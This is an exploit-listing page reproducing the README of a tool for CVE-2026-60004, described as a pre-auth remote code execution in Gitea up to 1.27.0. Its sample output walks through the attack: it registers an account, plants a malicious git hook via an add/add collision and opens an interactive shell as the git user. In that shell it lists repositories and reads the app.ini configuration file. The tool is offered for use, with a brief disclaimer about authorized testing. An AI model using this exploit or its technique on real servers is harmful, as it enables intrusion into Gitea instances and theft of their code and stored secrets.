Sploitus

Exploit for CVE-2026-60004

githubexploit · 2026-08-04

Exploit Code

README44 lines
## https://sploitus.com/exploit?id=CAED0FEC-B692-5513-BCA7-D41D214BD075
# CVE-2026-60004 - Gitea 

Once executed, the script will automatically register an account, plant the malicious hook, and drop you into an interactive shell:

```text
  ---------------------------------------------------
  CVE-2026-60004 -- Gitea <= 1.27.0 Pre-Auth RCE
  Fully Interactive API Shell
  ---------------------------------------------------

[*] Fetching CSRF token from signup page...
[+] CSRF token acquired.
[*] Registering user: poc5wp6tp
[+] Authenticated as poc5wp6tp
[*] Creating repository: poc-ozirkq
[+] Repository created.
[*] Fetching main branch SHA...
[*] Planting malicious hook via add/add collision...
[+] Hook planted and triggered.
[*] Verifying RCE...
[+] RCE VERIFIED! Shell is ready.
uid=1000(git) gid=1000(git) groups=1000(git)

==================================================
  Gitea API-driven Interactive Shell
  Type 'exit' to quit
==================================================

gitea-rce$ whoami
git
gitea-rce$ ls -la /data/gitea/repositories
...
gitea-rce$ cat /data/gitea/conf/app.ini
...
```

### Disclaimer

This tool is intended for educational purposes and authorized security testing, such as CTFs, only. Ensure you have explicit permission to test the target system. The author is not responsible for any misuse or damage caused by this tool.

### Credit

Chirag Artani - [https://3rag.com](https://3rag.com)